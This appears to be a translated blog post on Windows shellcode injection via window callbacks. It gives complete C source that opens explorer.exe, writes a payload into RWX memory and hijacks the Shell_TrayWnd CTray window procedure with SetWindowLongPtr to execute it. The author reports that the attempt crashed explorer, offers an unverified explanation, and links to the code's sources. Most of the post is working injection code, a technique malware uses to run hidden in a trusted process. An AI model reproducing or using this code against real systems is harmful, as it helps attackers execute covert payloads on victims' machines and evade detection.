The third idea for remotely executing shellcode is introduced today: function callbacks;
1. Callback, simple understanding:
- When windows goes out of the factory, there are many transactions that cannot be solidified internally (100% can't predict what will happen outside), leaving only a bunch of interfaces for developers to improve the processing of these transactions, such as multi-threading; windows provides the interfaces to create threads, CreateThread, CreateRemoteThread. What happens when a thread is created? Execute developer personalized code, of course! So the parameters of these API s also reserve entries for developers to customize their code;
- Inside windows: different modules have different functions, they are collaborative and typically many-to-many. If the calls between modules are tightly coupled and solidified, which is not conducive to the reuse of modules, many parts of the internal are loosely coupled through callback functions, such as the window message mechanism: PostMessage, SendMessage between windows, after receiving messages, developers can customize the processing of messages by rewriting the WndProc function;
This experiment uses the messaging mechanism between windows to execute its own shellcode, with the following core principles:
- Via Shell_TrayWnd opens the target process (usually explorer.exe);
- * Write to shellcode
- Construct a CTray object with one member, WndProc, pointing to the shellcode; The CTray object is then written to the target process
- Call SetWindowLongPtr and let the handler of the window point to the CTray object to execute our own defined shellcode;
The core code is as follows:
Header file:
//#define UNICODE #include "ntlib/ntddk.h" #include <stdio.h> #pragma comment(lib, "user32.lib") #pragma comment(lib, "shell32.lib") #pragma comment(lib, "ntdll.lib") // CTray object for Shell_TrayWnd typedef struct _ctray_vtable { ULONG_PTR vTable; // change to remote memory address ULONG_PTR AddRef; ULONG_PTR Release; ULONG_PTR WndProc; // window procedure (change to payload) } CTray; VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize); VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize); DWORD readpic(PWCHAR path, LPVOID* pic); #endif // !_KCT_H
File C:
#include "ktc.h" VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize) { LPVOID cs, ds; CTray ct; ULONG_PTR ctp; HWND hw; HANDLE hp; DWORD pid; SIZE_T wr; // 1. Obtain a handle for the shell tray window hw = FindWindow(L"Shell_TrayWnd", NULL); // 2. Obtain a process id for explorer.exe GetWindowThreadProcessId(hw, &pid); printf("find window ID=%d\n", pid); // 3. Open explorer.exe hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. Obtain pointer to the current CTray object ctp = GetWindowLongPtr(hw, 0); if (ctp == 0) { printf("GetWindowLongPtr failed!\n"); CloseHandle(hp); return; } // 5. Read address of the current CTray object ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); // 6. Read three addresses from the virtual table ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr); // 7. Allocate RWX memory for code cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 8. Copy the code to target process WriteProcessMemory(hp, cs, payload, payloadSize, &wr); printf("payload address:%p\n", payload); //printf("cs address:%p---->%s\n", cs, *(char *)cs);//cs yes exlorer Address of the process, something happens here; printf("cs address:%p\n", cs); // 9. Allocate RW memory for the new CTray object ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 10. Write the new CTray object to remote memory ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); // 11. Set the new pointer to CTray object if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) { printf("SetWindowLongPtr failed!\n"); VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT); CloseHandle(hp); return; } system("pause"); // 12. Trigger the payload via a windows message //PostMessage(hw, WM_CLOSE, 0, 0); PostMessage(hw, WM_PAINT, 0, 0); //SendNotifyMessageA(hw, WM_PAINT, 0, 0); //Execute Injection Code Sleep(1); system("pause"); // 13. Restore the original CTray object SetWindowLongPtr(hw, 0, ctp); system("pause"); // 14. Release memory and close handles VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT); CloseHandle(hp); } /*shellcode Read from bin file*/ DWORD readpic(PWCHAR path, LPVOID* pic) { HANDLE hf; DWORD len, rd = 0; // 1. open the file hf = CreateFile(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hf != INVALID_HANDLE_VALUE) { // get file size len = GetFileSize(hf, 0); // allocate memory *pic = malloc(len + 16); printf("*pic:%p------------->\n", *pic); // read file contents into memory ReadFile(hf, *pic, len, &rd, 0); CloseHandle(hf); } return rd; } int main(void) { LPVOID pic = NULL; DWORD len; int argc; PWCHAR* argv; argv = CommandLineToArgvW(GetCommandLine(), &argc); if (argc != 2) { printf("usage: kct <payload>\n"); return 0; } len = readpic(argv[1], &pic); if (len == 0) { printf("invalid payload\n"); return 0; } //kernelcallbacktable(pic, len); CTray_WndProc_Hook(pic, len); return 0; }
After execution: From the process hacker, shellcode successfully writes to the explorer process:
Instead of popping up the messageBox as expected, the explorer crashes (as shown by inability to open the folder, unresponsive right-click on the lower-left taskbar, unresponsive start by clicking on the lower-left corner). After adding pause s to different codes and trying several times, the problem is discovered: SetWindowLongPtr failed to execute. The reasons for personal guess (not verified) are as follows:
When SetWindowLongPtr executes, it changes the original default message processing function to our custom shellcode, which takes time to switch. However, windows is a very complex system with messages to process every millisecond, subtle or even nanoseconds and a lot of messages to be received when switching, but these messages are too late (or impossible) to process during the switching process, causing explorer to crash, and then the process automatically restarts after hanging up. Then there will be original response when you right-click on the taskbar, click on folders, click on the start of the lower left corner, etc. This reminds me of some trick s when Front End Time learns to write operating systems using assembly: when executing important instructions, Click to close the interrupt first to avoid the interruption of the instructions. Restart sti to open interrupt after execution is complete; SetWindowLongPtr, however, does not appear to have the ability to block messages when it is executed (some ideas will be made later, such as reversing some critical DLLs to verify);
This experiment was a failure. There are more than 10 ways to inject shellcode, and subsequent attempts will be made to find the most suitable one at the moment.
Finally: borrow (chao) reference (xi) other people's ideas and codes as follows:
https://www.sec-in.com/article/64
https://github.com/odzhan/injection